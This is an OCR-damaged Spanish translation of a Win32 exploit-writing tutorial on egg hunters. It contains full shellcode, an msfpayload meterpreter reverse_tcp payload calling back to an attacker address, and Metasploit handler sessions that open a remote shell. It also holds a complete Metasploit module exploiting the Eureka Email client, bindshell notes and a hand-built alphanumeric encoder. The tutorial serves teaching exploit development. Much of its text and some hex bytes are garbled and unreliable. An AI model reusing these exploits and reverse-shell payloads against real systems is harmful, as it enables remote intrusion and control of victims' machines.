con la primera instruccion del cazador de huevasléar FFOF con 00 00
te permitira buscar en el marco de la pila actsal,es necesario.
Por supuesto, éste podria contener bytes nulasdyiés que lidiar con eso.
Si eso es un problema, es posible que tengas gue peco creativo.
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Puede haber otras maneras de posicionarse mas, ceeraplazando
0x66,0 x81,0xca, Oxff, OxOf con algunas instruce®rmue I|o hagan
(dependiendo de tus necesidades).

Algunos ejemplos:

- Encontrar el inicio del marco de la pila actugloner ese valor en EDI.

- Mover el contenido de otro registro en EDI.

- Encontrar el principio de la pila y poner eseovan EDI (de hecho,
poner PEB en TEB 0x30 y luego todos los Heaps dmtgso en PEB
0x90). Consulta el siguiente documento para obtem&s informacion
sobre la construccion de un Heap con el cazadbueeos.

http://rO0tin.blogspot.com/2009/03/heap-only-egarien. html

- Encontrar la direccion base de la imagen y paranlEDI.

- Poner un valor personalizado en EDI (peligrosae cseria como
hardcodear una direccion, asi que asegurate dedggnes en EDI se
encuentre antes de los huevos + Shellcode). Séaplbdscar en los otros
registros en el momento en que el codigo del cazéelbuevos iria a ver si
uno de los registros puede ser colocado en EDI paea el cazador
comience mas cerca del huevo. Alternativamenteg tique hay en ESP
(tal vez un par de instrucciones POP EDI puedaeipaigo util en EDI).

- Etc.

Por supuesto, ajustar la ubicacién de inicio séleesomienda si:
- La velocidad realmente es un problema.

- El exploit no funciona de otra manera.

- Se puede realizar el cambio de forma genéridase wrata de un exploit
personalizado que tiene que funcionar soélo una vez.

De todas formas, yo soOlo queria decir que debeasnspoco creativo con el
fin de hacer un mejor exploit, mas rapido, mas péquetc.
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iHey, el cazador de huevos funciona bien en la
mayoria de los casos! ¢ Por quée habria que
cambiar la direccion de inicio?

OK. Buena pregunta.

Puede haber un caso en el que la Shellcode finguéta + Shellcode)se
encuentre en varios lugares de la memoria, y akyjdeaestas copias estén
dafadas/truncadas/... (= Nos ponen una la bomba)edta situacion
particular, puede ser una buena razén para voleetogar la ubicacion de
inicio de busqueda del cazador de huevos parargieede evitar las copias
dafadas. (Después de todo, el cazador de huevomsal la etiqueta de 8
bytes y no en el resto de la Shellcode detrasldg el

Una buena manera de saber si tu Shellcode:
- Esta en algun lugar en la memoria (y donde estd).
- Esta dafiada o no.

Es usando la funcion "!pvefindaddr compare”, quafsdioé en la version
1.16 del plugin. Esta caracteristica se agregdmnegae para comparar la
Shellcode en la memoria con la Shellcode en univarcipero de forma
dindmica se buscaran todas las instancias de lc@he Asi que puedes
ver donde esta tu Shellcode ubicada, y si el coeligon lugar determinado
fue modificado/cortado en la memoria o no. Usanda mformacion,
puedes tomar una decision de si debes ajustasiei@oinicial de cazador
de huevos o no, y si hay que cambiarla, donde skeci@mbio.

Una pequefia demostracion de como comparar la Stellc

En primer lugar, tienes que escribir tu Shellcodeua archivo. Puedes
utilizar un pequefio script como el siguiente pa@ibir la Shellcode en un
archivo:

# shellcode for calc.exe to file called code.bin
# you can - of course - prepend this with egghunter

# you want

#

$shellcode="  \x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x4

" \x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x3 0\x56 ".
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" \x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x3
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x4
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4
" \x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x4 7\x3
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x3
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x4
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x5
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x5
"\x56\x45\x34\x4c\x4b\x4 7\x36\x50\x30\x4c\x4b\x51\x5
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x3
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x5
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x3
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4\x4d\x37\x42\x4
"\x31\x42\x4c\x42\x43\x45\x50\x41\x4 1

(FILE," >code.bin *);

FILE $shellcode;

" Wrote ". ($shellcode)." bytes to file code.bin\n
(FILE);

Vamos a suponer que has escrito el archiv@&mp. Ten en cuenta que
en este ejemplo, yo no pong®0tw0O0t antes de la Shellcode, ya que esta
técnica realmente no se limita a los cazadoresudeds. Por supuesto, Si
quieres anteponer wOOtwOOt, adelante).

A continuacion, attacha la aplicacion con ImmDB@n un BP antes de
gue la Shellcode que se ejecute y luego, lanzephbie

Ahora ejecuta el siguiente PyCommand:
pvefindaddr compare c:\tmp\code.bin
El script abrira el archivo, tomara los 8 primebgtes, y buscara memoria

para cada lugar que apunte a estos 8 bytes. Lwyaada lugar, se
comparara la Shellcode en la memoria con el cagliginal en el archivo.
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Si la Shellcode permanece sin cambios, veras algo @sto:

Ipvefindaddr compare c\tmpicode.bin

Si la Shellcode es diferente (yo he reemplazadanalg bytes con otra
cosa, solo para propésitos de prueba), obtendyassamo esto:

- Para cada byte que no coincida, obtendras umadenen el registro, lo
que indica la posicion en la Shellcode, el valaginal (= lo que se
encuentra en el archivo en esa posicion), y elrv@le se encuentra en la
memoria (por lo que, puedes utilizar esto parararea lista de caracteres
malos, o para determinar que - por ejemplo — Shielicode se convirtio en
mayusculas o minusculas).

- Una representacion visual se dar4, mostrandamdodo "-" cuando los
bytes no coinciden:

Log data

Address |Hessage

!pvefindaddr compare c:\tmpicode.bin
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Asi gue si una de las instancias de la memoriacpagstar dafiada, puedes
intentar volver a codificar la Shellcode para dittios caracteres malos,
pero si hay una instancia que no esté rota, seepuair de encontrar una
manera para lograr que el cazador de huevos empreasm lugar que
active el cazador para encontrar la version no ficadia de la primera
Shellcode®©

Nota: se pueden comparar los bytes en la memariar(dugar especifico)
con bytes de un archivo mediante la adicién derkccddn de memoria en
la linea de comandos:

Ipvefindaddr compare c:\tmpicode.bin 0x0012DBBY

Mira si el cazador de huevos todavia funciona coa Shellcode mas
grande (que es uno de los objetivos detras deldestos cazadores de
huevos).

Vamos a intentarlo de nuevo con una Shellcode maaglg. Vamos a tratar
de generar una sesion deeterpreter sobre TCP (conexién inversa al
atacante) en el mismo exploit Eureka Email.

Genera la Shellcode. Mi equipo atacante esta erl@82.122. El puerto
predeterminado es 4444. Usaremos alpha_mixed couhficador, por lo
gue el comando seria:

/msfpayload windows / meterpreter / reverse_tcp Ihas= 192.168.0.122
R | ./ msfencode -b '0x00 '-t perl -e x86/alpha_mixed

.Imsfpayload windows/meterpreter/reverse_tcp LHOST= 192.168.0.122 R |
./msfencode -b '0x00' -t perl -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 644 (iterat ion=1)

$buf =
" \x89\xe5\xd9\xe5\xd9\x75\xf4\x5e\x56\x59\x49\x49\x4 9\x49 "
"\x49\x49\x49\x49\x49\x49\x4 3\x43\x43\x43\x43\x43\x3 7\x51 "
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x5 1\x32 "
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x3 8\x41 "
"\x42\x75\x4a\x49\x49\x6¢c\x4b\x58\x4e\x69\x45\x50\x4 5\x50 "
"\x45\x50\x43\x50\x4c\x49\x4b\x55\x46\x51\x49\x42\x5 0\x64 "
"\x4e\x6b\x42\x72\x44\x70\x4c\x4b\x46\x32\x46\x6c\x4 e\x6b "
"\x43\x62\x45\x44\x4e\x6b\x44\x32\x51\x38\x46\x6f\x4 c\x77 "
"\x50\x4a\x45\x76\x45\x61\x4b\x4f\x45\x61\x49\x50\x4 e\x4c "
"\x47\x4c\x43\x51\x43\x4¢c\x46\x62\x44\x6¢c\x51\x30\x4 fix31 "
"\x4a\x6f\x44\x4d\x43\x31\x4f\x37\x4d\x32\x4c\x30\x5 O\x52 "
"\x42\x77\x4e\x6b\x50\x52\x44\x50\x4e\x6b\x50\x42\x4 7\x4c "
"\x43\x31\x4a\x70\x4e\x6b\x43\x70\x43\x48\x4b\x35\x4 9\x50 "
"\x43\x44\x43\x7a\x45\x51\x48\x50\x46\x30\x4e\x6b\x4 3\x78 "
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" \x45\x48\x4c\x4b\x50\x58\x45\x70\x4 7\x 7 1\x49\x4 3\x4
"\x47\x4c\x42\x69\x4c\x4b\x44\x74\x4e\x6b\x47\x71\x4
"\x50\x31\x49\x6f\x50\x31\x4b\x70\x4e\x4c\x4b\x71\x4
"\x44\x4d\x47\x71\x4b\x77\x45\x68\x4b\x50\x4 3\x45\x4
"\x47\x73\x43\x4d\x49\x68\x45\x6b\x4 3\x4d\x51\x34\x4
"\x4d\x32\x51\x48\x4c\x4b\x42\x78\x51\x34\x47\x71\x4
"\x43\x56\x4e\x6b\x46\x6c\x50\x4b\x4c\x4b\x43\x68\x4
"\x45\x51\x4e\x33\x4e\x6b\x45\x54\x4e\x6b\x46\x61\x4
"\x4c\x49\x50\x44\x51\x34\x45\x74\x51\x4b\x43\x6b\x5
"\x51\x49\x50\x5a\x42\x7 1\x49\x6f\x4d\x30\x51\x48\x4
"\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4d\x56\x51\x4d\x5
"\x46\x53\x46\x52\x45\x50\x4 7\x70\x50\x68\x42\x57\x5
"\x50\x32\x51\x4f\x50\x54\x51\x78\x42\x6c\x44\x37\x4
" \x43\x37\x49\x6f\x4e\x35\x4c\x78\x4c\x50\x46\x61\x4
" \x45\x50\x46\x49\x4a\x64\x51\x44\x50\x50\x4 3\x58\x4
" \x4f\x70\x42\x4b\x45\x50\x4b\x4f\x48\x55\x50\x50\x4
"\x42\x70\x50\x50\x4 7\x30\x50\x50\x43\x70\x46\x30\x4
"\x48\x6a\x46\x6f\x49\x41\x49\x70\x4b\x4f\x4e\x35\x4
"\x42\x4a\x47\x75\x51\x78\x4f\x30\x4f\x58\x4 3\x30\x4
"\x50\x68\x46\x62\x43\x30\x42\x31\x43\x6c\x4c\x49\x4
" \x50\x6a\x42\x30\x46\x36\x46\x37\x42\x48\x4d\x49\x4
"\x42\x54\x51\x71\x49\x6f\x4e\x35\x4d\x55\x49\x50\x4
"\x44\x4c\x49\x6f\x50\x4e\x44\x48\x50\x75\x4a\x4c\x4
"\x4c\x30\x4c\x75\x49\x32\x42\x 76\x49\x6f\x4a\x 75\x4
"\x45\x50\x51\x7a\x43\x34\x42\x76\x50\x57\x51\x78\x4
"\x4b\x69\x4b\x78\x43\x6f\x49\x6f\x48\x55\x4e\x6b\x4
"\x51\x7a\x51\x50\x43\x58\x45\x50\x46\x 70\x45\x50\x4
" \x51\x46\x42\x4a\x45\x50\x50\x68\x51\x48\x4f\x54\x4
"\x4d\x35\x4b\x4f\x4b\x65\x4e\x73\x46\x33\x42\x4a\x4
"\x50\x56\x43\x63\x50\x57\x42\x48\x44\x42\x48\x59\x4
"\X51\x4\x49\x6f\x4b\x65\x43\x31\x49\x53\x46\x49\x4
"\x4d\x55\x4b\x46\x51\x65\x48\x6¢c\x49\x53\x4 7\x7a\x4

En el script del exploit, reemplaza la Shellcodeae.exe con la generada
anteriormente. Antes de ejecutar el exploit, camfg el listener de
meterpreter:

< metasploit >

o) N
[I--11 >

=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 490 exploits - 227 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8091 updated today (2010.01.09)

msf >

msf exploit(handler) >

PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) >

LPORT => 4444
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msf exploit(handler) >

LHOST =>192.168.0.122

msf exploit(handler) >
options:

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name  Current Setting Required Description

EXITFUNC process yes Exit techni que: seh, thread,
process

LHOST 192.168.0.122 yes The address

LPORT 4444 yes The port

Exploit target:

0 Wildcard Target
msf exploit(handler) >

[*¥] Starting the payload handler...
[*] Started handler on port 4444

Ahora ejecuta el exploit y desencadena el desboeddoncon Eureka.
Después de unos segundos, deberias ver esto:

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.122:444
192.168.0.193:15577)

meterpreter >

iOwneado!
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Implementando los cazadores de huevos en
Metasploit

Vamos a convertir nuestro exploit cazador de hueedsureka Mail Client

a un modulo de Metasploit. Puedes encontrar infoldnasobre como los

modulos de exploit se pueden trasladar en el vakvidtasploit:

http://www.metasploit.com/redmine/projects/framekaiki/PortingExplo
its

Algunos datos antes de comenzar:
- Tendremos que configurar un servidor (POP3, d&cea el puerto 110).

- Tendras que calcular el desplazamiento corré¢tmmos a utilizar el
parametro SRVHOST para este.

- Vamos a suponer gue el cliente esta usando Wisidd®vService Pack 3
(puedes agregar mas si puedes conseguir las dinescicorrectas de
trampolin para otros Service Packs).

Nota: el médulo de Metasploit original para estlerabilidad ya es parte
de Metasploit (mira en la carpeta:

C:\metasploit\apps\pro\msf3\modules\exploits\windos\misc
Y buscaeureka_mail_err.rb). Vamos a hacer nuestro propio modulo.
Nuestro médulo de Metasploit personalizado pod¥iaakjo como esto:

Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Egghunter
initialize(info = {})
(update_info(info,
'Name' =>'Eureka Email 2.2q ERR R emote Buffer
Overflow Exploit',
'Description’  => %q{
This exploits a buffer overflow the Eureka Email
2.2q

client that is triggered through an exce ssively long ERR
message.

}1
'Author’

[
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'Peter Van Eeckhoutte (a.k.a corelancO

1,

'‘DefaultOptions' =>

'EXITFUNC' => ‘process’,
}1

'Payload' =>

‘BadChars' => " \x00\x0a\x0d\x20
‘StackAdjustment’ => -3500,
'DisableNops' =>
}1
'Platform'’ =>'win',
‘Targets' =>

['Win XP SP3 English’, { ‘Ret' => 0x7 E47BCAF }], #jmp
esp / user32.dll
]!
'Privileged’ =>
'‘DefaultTarget’ => 0))

register_options(

[

OptPort.new('SRVPORT, | ," The POP3 daemon port to
listenon ", 1101]),

1, : )

on_client_connect(client)
((  =regenerate_payload(client)) ==

# the offset to eip depends on the local ip address string
length...
offsettoeip=723-datastore['SRVHOST"].len
# create the egg hunter
hunter = generate_egghunter
#egg
egg = hunter[1]
buffer = " -ERR "
buffer << make_nops(offsettoeip)
buffer << [target.ret].pack('V")
buffer << hunter[0]
buffer << make_nops(1000)
buffer << egg + egg
buffer << payload.encoded + " \n\n

print_status(" [*] Sending exploit to
#{client.peerhost}... "

print_status(" Offset to EIP : #{offsettoeip}
client.put(buffer)

client.put(buffer)

client.put(buffer)

client.put(buffer)

client.put(buffer)

client.put(buffer)

handler
service.close_client(client)
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Por supuesto, si deseas utilizar tu propio cazdddruevos personalizado
(en lugar de utilizar el construido en Metasplaiequtiliza la técnica de
NtDisplayString/NtAccessCheckAndAuditAlarm para bassla memoria,

por cierto), entonces también puedes escribir ted@ddigo de bytes

(bytecode) manualmente en el exploit.

Por supuesto, si deseas utilizar tu propio perg&zatl cazador de huevos
(en lugar de utilizar el construido en Metasplogue utiliza la técnica de
NtDisplayString / NtAccessCheckAndAuditAlarm panasbar la memoria,

por cierto), entonces también puedes escribir digedde bytes todo el

manualmente en el exploit.

Exploit: (192.168.0.193 cliente = ejecutando Eurekanfigurado para
conectarse a 192.168.0.122 como servidor POP31882.122 = maquina
de Metaspiloit).

He colocado el modulo de Metasploit en:

C:\metasploit\apps\pro\msf3\modules\exploits\window/keureka/corelan_eureka2
“eurekalcorelan_eurekaZ son carpetas nuevas que cree.
Prueba:

B TEERET SRR S S BRI 8 R R
HHHH AR HHBHHARHHA
HHHHAHHHH A HH A H A HHAH
HH#HH AR AR B HH#
HRHHHBHHABHHAHBHH
H # HHBHHI # # # HHBH # HEHE R H
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 493 exploits - 232 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8137 updated today (2010.01.15)
msf >
msf exploit(corelan_eureka?2) >
payload =>
msf exploit(corelan_eureka?2) >
SRVHOST =>192.168.0.122
msf exploit(corelan_eureka?2) >
CMD => calc
msf exploit(corelan_eureka?2) >
[*] Exploit running as background job.
msf exploit(corelan_eureka?2) >
[*¥] Server started.
[*] [*] Sending exploit to 192.168.0.193...
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[¥] Offsetto EIP : 710
[¥] Server stopped.

Conecta el Eureka Mail Client a 192.168.0.122:

i
|| & : |
|— |— =
] el | 1| ] oo o el
I T Y Y I
I O N I Y Y
e s e e I Y
I Y O Y S I

Otros Payloads

Bindshell en el puerto 55555:

® Eureka Email - Peter

e Command Prompk

I] 0.0.0:0 LISTENING 1572

Caracteres malos + Codificacion

Usando Metasploit

El codigo del cazador de huevos es como una Shellecegular. Es
susceptible a la corrupcién en la memoria, puedar esljeto a malos
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caracteres, etc. Asi que si vas a encontrar errexgafios durante la
ejecucion del cazador de huevos, puede ser unahdea para comparar
el codigo original, con lo que tienes en memortaugcar malos caracteres.
(Ya he explicado una técnica para comparar el coflig sea del cazador
de huevos o de la Shellcode. La misma técnica keapp@l principio de
este documento).

¢, Qué pasa si has descubierto que el cédigo sdibdaa

La codificacion alternativa puede ser necesaria ppre el cazador de
huevos funcione, y/o un filtro de “caracteres malmsede ser necesario
para filtrar los caracteres que se daflan o0 se edemi en memoria y
romperia el cédigo.

Ademas, ten en cuenta que el tipo de codificaciGdanacteres malos a
filtrar *pueden* ser completamente diferentes ethirque es aplicable a la
Shellcode final y al cazador de huevos.

No va a pasar muchas veces, pero es posible. Asiqgizas desees
ejecutar el ejercicio en el cazador y la Shellcode.

La codificacién del cazador de huevos (o cualgSieelicode) es bastante
simple. Solo tienes que escribir el cazador de ¢wiean un archivo,
codificar el archivo, y utilizar el cédigo de bytdsl resultado codificado
como tu Payload cazador de huevos. Ya sea questenga incluir la
etiqueta antes de la codificacion o no, dependéoslecaracteres malos,
pero en la mayoria de los casos no deberias ileclDiespués de todo, si la
etiqueta es diferente, después de la codificadi@mbién es necesario
anteponer la Shellcode con la etiqueta modificeda. a tener que poner el
cazador de huevos en un depurador y ver lo quegrakdetiqueta.

Ejemplo: Supongamos que el cazador de huevos eelafanumérico (en
mayusculas) codificado, y que has incluido la etigLen el archivo huevo
0 egdfile, entonces esto va a ser el resultado:

root@xxxxx:/pentest/exploits/trunk # cat writeegghunter.pl
#!/usr/bin/perl

# Write egghunter to file

# Peter Van Eeckhoutte

#

my $eggfile =" egdfile.bin

my $egghunter =

" \x66\X81\XCAXFF\XOF\x42\x52\x6 A\x02\x58\xCD\x2E\x3 C\X05\X5A\X74\XEF\
xB8".

"\X77\x30\x30\x74 ".  # Este es el marcador/etiqueta wOOt.

" \X8B\XFA\XAF\x75\XEA\XAF\X75\XE7\XFF\XE7 i




Creacién de Exploits 8: Caceria de Huevos en Win3ir corelanc0d3r
traducido por lvinson/CLS

(FILE," >$eggofile *);
FILE $egghunter;
close(FILE);
" Wrote ".length($egghunter)." bytes to file ".$egdfile." \n "

root@xxxxx:/pentest/exploits/trunk # perl writeegghunter.pl
Wrote 32 bytes to file eggfile.bin

root@xxxxx:/pentest/exploits/trunk # .msfencode -e x86/alpha_upper -i
egdgfile.bin -t perl
[*] x86/alpha_upper succeeded with size 132 (iterat ion=1)

my $buf =

"\x89\xe0\xda\xcO\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4 a\x43 "
" \x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x5 6\x58 "
" \x34\x41\x50\x30\x41\x33\x48\x48\x30\x4 1\x30\x30\x4 1\x42 "
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x4 2\x30 "
" \x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4 3\x56\x4 d\x51 "
"\x49\x5a\x4b\x4f\x44\x41\x51\x52\x46\x32\x4 3\x5a\x4 4\x42 "
"\x50\x58\x48\x4d\x46\x4e\x4 7\x4c\x43\x35\x51\x4a\x4 2\x54 "
" \x4a\x4f\x4e\x58\x42\x57\x46\x50\x46\x50\x44\x34\x4 c\x4b "
" \x4b\x4a\x4e\x4f\x44\x35\x4b\x5a\x4e\x4f\x43\x45\x4 b\x57 "
"\x4b\x4f\x4d\x37\x41\x41 "

Mira el resultado en $buf: la etiqueta debe estapi, pero ¢ Donde esta?
¢, Ha sido cambiada o no? ¢ Funcionara esta vergidficada?

Pruébalo. No te desanimes si no lo hace, y siguento.

Creando el codificador manualmente

¢Y si hay demasiados obstaculos y Metasploit ndficadu Shellcode?
(cazador de huevos = shellcode, por lo que estplem a todas las formas
y las formas de Shellcode en general).

¢, Qué pasa si, por ejemplo, la lista de caracteadssnes bastante extensa,
gué tal si, por encima de eso, el cédigo del cazddohuevos debe ser
alfanumeérico unicamente?

Bueno, tendras que hacer a mano el codificadoristnm De hecho, solo
codificando el cazador de huevos (incluyendo lguetia) no va a funcionar
fuera de la caja. Lo que realmente necesitamosnesodificador que

reproduzca el cazador de huevos original (inclugeladetiqueta) y luego
lo ejecute.
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La idea detras de este tutorial fue tomada de pioexcelente escrito
por Muts. Si nos fijamos en este exploit, se puenteun cazador de huevos
algo "especial"http://www.exploit-db.com/exploits/5342

egghunter=(

" %JIMNU%521*TX-1MUU-1KUU-5QUUP\AA%J
" MNU%521*-1UUU-ITUU-loUMPAA%JIMNU%5
" 21*-glau-qlau-oGSePAA%JIMNU%521*-D

" A~X-D4~X-H3XTPAA%IMNU%521*-qz1E-1"

" z1E-oRHEPAA%JMNU%521*-3s1--331--"
"TC1IPAA%IMNU%521*-E1WE-E1GE-tEtFPA'
" A%IMNU%521*-R222-1111-nZJ2PAA%IMN'
" U%521*-1-wD-1-wD-8$GwP ")

El cbdigo del exploit también dice: "Shellcode chwma de huevos
alfanumérica + caracteres restringidos \x40 \X3BAXXx2F". Asi que,
parece que el exploit solo puede ser ejecutadodosearacteres ASCII
imprimibles (alfanuméricos) que no es tan raro erservidor web o una
aplicacion web.

Al convertir este cazador de huevos en asm, (s8gtimeras lineas se
muestran) ves esto:

25 4A4D4ES5  AND EAX,554E4D4A
25 3532312A  AND EAX,2A313235
54 PUSH ESP

58 POP EAX

2D 314D5555  SUB EAX,55554D31
2D 314B5555 SUB EAX,55554B31
2D 35515555  SUB EAX,55555135
50 PUSH EAX

41 INC ECX

41 INC ECX

25 4A4D4ES5  AND EAX,554E4D4A
25 3532312A  AND EAX,2A313235
2D 21555555  SUB EAX,55555521
2D 21545555  SUB EAX,55555421
2D 496F556D  SUB EAX,6D556F49
50 PUSH EAX

41 INC ECX

41 INC ECX

25 4A4D4ES5  AND EAX,554E4D4A
25 3532312A  AND EAX,2A313235
2D 71216175  SUB EAX,75612171
2D 71216175  SUB EAX,75612171
2D 6F475365  SUB EAX,6553476F

iGuau! No se parece al cazador de huevos que aoosce verdad?
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Vamos a ver lo que hace. Las 4 primeras instruesioracian EAX (2

operaciones AND légicas) y el puntero en ESP seeam la pila (que

apunta al comienzo del cazador de huevos codifjcalacontinuacion,

este valor es puesto en EAX.

Asi EAX eficazmente apunta al comienzo del cazatdohuevos después
de estas 4 instrucciones:

25 4A4D4ES5  AND EAX,554E4D4A
25 3532312A  AND EAX,2A313235

54 PUSH ESP
58 POP EAX

A continuacion, el valor en EAX se cambia (utilidanuna serie de
instrucciones SUB). Entonces el nuevo valor en EB5XPUSHeado en la
pila, y ECX se incrementa con 2:

2D 314D5555  SUB EAX,55554D31
2D 314B5555  SUB EAX,55554B31
2D 35515555  SUB EAX,55555135
50 PUSH EAX

41 INC ECX

41 INC ECX

iEl valor que se calcula en EAX va a ser importanées adelante! Ya
veremos bien esto.

Entonces, EAX se borra de nuevo (2 operaciones ANDjsando las 3
instrucciones SUB en EAX, un valor es PUSHeada giia.

&1 FFFFFFFF]
FFFOFB@E [ FFF)
BEEE HULL
tErr B0
in

w +UMORM B2FF 1F

Asi que antes de que se ejecute SUB EAX, 5555358X, = 00000000.
Cuando se hizo el primer SUB, EAX contiene AAAAAADPBespués del
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segundo SUB, EAX contiene 555556BE, y después thrdar SUB, EAX
contiene E7TFFE775. Luego, este valor es PUSHeatm@ia.

Espera un minuto. Este valor me resulta familideQ OxFF, OXxE7, 0x75
son, de hecho, los dultimos 4 bytes del cazador devds
NtAccessCheckAndAuditAlarm (en orden inverso). Betd.

Si sigues ejecutando el cddigo, veras que va adapir el cazador de
huevo original. (Pero en mi caso, utilizando unlexmgliferente, el codigo
no funciona).

De todas formas, el codigo que Muts utiliza eshdeho, un codificador
gue reproducira al cazador de huevos original, dadpa en la pila, y

ejecutara el codigo de la reproduccion, evitandatefamente limites de
malos caracteres (porque el codificador persorddizzompletamente no
usé ninguno de los caracteres malos.) jSimplemgateal! Yo nunca

habia visto una implementacién de este codificaalties de que este
exploit particular fuera publicado. jMuy bien hedWats!

Por supuesto, si los opcodes de AND, PUSH, POP,,SUNE se
encuentran en la lista de caracteres malos taméréances puedes tener
un problema, pero se puede jugar con los valoréasd@strucciones SUB
con el fin de reproducir el cazador de huevos wailgi realizar un
seguimiento de la ubicacion actual, donde se regedl cazador de
huevos (en la pila) y, finalmente, "saltar" a |ama.

¢, Como se hizo el salto?

Si tienes que tratar con un juego de caracteresatim (s6lo caracteres
alfanuméricos ASCII imprimibles permitidos, por rejgo), entonces un
JMP ESP, PUSH ESP + RET no funcionaran porques @ss#rucciones
pueden tener caracteres invalidos. Si no tienes teptar con estos
caracteres, entonces solo tienes que afadir um alafinal del cazador
codificado y ya esta todo listo.

Vamos a suponer que el conjunto de caracteremgadp, asi que tenemos
gue encontrar otra manera de resolver esto. ¢ RiEsueuando dije antes
gue ciertas instrucciones iban a ser importantaggn® aqui es donde
entran en juego. Si no podemos dar el salto, essaeo asegurarse de que
el codigo se comienza a ejecutar de forma automdte mejor manera de
hacer esto es escribiendo el cazador de huevoBcenid inmediatamente
después del codigo codificado. Asi que, cuand@digo codificado haya
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terminado la reproduccion del cazador de huevoginal, simplemente
comenzaria a ejecutar este cazador de huevos ugtod

Esto significa que un valor debe ser calculado,nggndo a un lugar
después del cazador codificado y este valor se jgeher en ESP antes de
empezar a codificar. De esta manera, el codificaglmynstruird el cazador
de huevos y lo colocara justo después del cazamftificado. Vamos a
echar un vistazo mas de cerca a esto en el préamitulo.

Al ver el codigo ejecutarse y reproducir el cazaderhuevos original es
bonito, pero ¢,como puedes crear tu propio codificad

El marco para la construccion del cazador de huesadificado (o
codificador si lo quieres llamar asi) es el sigteen

- Configura la pila y registros (calcula donde a&tador codificado debe ser
escrito. Esta sera la posicion local + longitud d@dligo codificado (que
sera mas o menos del mismo tamafio). Calcular deindedificador debe
escribir requiere que evalles los registros cuarldcazador codificado
empiece a correr. Si has hecho tu camino haciazdor codificado a
través de un JMP ESP, ESP entonces contendradacidm actual, y solo
tienes que aumentar el valor hasta que apuntal@dacion correcta).

- Reproduce cada 4 bytes del cazador de huevomalrign la pantalla,
justo después del cazador codificado (usando 2 AN&ara limpiar EAX,
3 SUB’s para reproducir los bytes originales, yRWSH para poner el
codigo reproducido en la pila).

- Cuando todos los bytes se han reproducido, ehdoazde huevos
codificado deberia ejecutarse,

En primer lugar, vamos a construir el codificadargoel propio cazador de
huevos. Hay que empezar agrupando el cazador desee grupos de 4
bytes. Tenemos que empezar por los ultimos 4 eesdodigo (porque

vamos a PUSHear los valores a la pila cada vezrepmduzcamos el
codigo original. Asi que al final, los primeros &ytestaran en la parte
superior). Nuestro cazador de huevos NtAccessChatkdditAlarm es

de 32 bytes, de modo que esta bien alineado. Paro ssta alineado,
puedes agregar mas bytes (NOP’S) a la parte infd#lacazador de huevos
original, y empezar de abajo hacia arriba, tralmjaen grupos de 4 bytes.

\X66\x81\XxCA\XFF
\XOF\x42\x52\x6A



Creacién de Exploits 8: Caceria de Huevos en Win3ir corelancOd3r
traducido por lvinson/CLS

\x02\x58\xCD\x2E
\X3C\x05\x5A\x74
\XEF\xB8\ w0

\X8B\XFA 0t
\XAF\x75\XxEA\XAF
\X75\XE7\XFF\xE7

El codigo utilizado por Muts reproducird efectivartee el cazador de
huevos (usando w00t como etiqueta).

Después de que el codigo se ejecuta, esto eselegilPUSHeado en la
pila:

.._.._.._.._.._.._.._
0 S O D 5 [

Perfecto.

2 preguntas permanecen sin embargo: ¢como podaltasasese cazador
de huevos ahora, y qué pasa si tienes que eselilbisizador de huevos
codificado t mismo? Vamos a ver cOmo se hace:

Dado que contamos con 8 lineas de 4 bytes de catkjeazador de
huevos, el resultado final sera con 8 bloques ddigoo codificado.

El codigo completo sélo deberia usar caracteresnathéricos ASCII

imprimibles, y no deberia utilizar cualquiera de t@mracteres malos. Mira
esta web: http://www.asciitable.com/El primer caracter imprimible
comienza en 0x20 (espacio) o 0x21, y termina a 7E.

Cada bloque se utiliza para reproducir 4 bytescddigo del cazador de
huevos, siguiendo las instrucciones SUB. La formaalcular los valores a
utilizar en las instrucciones SUB es la siguiente:

Tomar una linea del cddigo del cazador de huevo®rtir los bytes, y
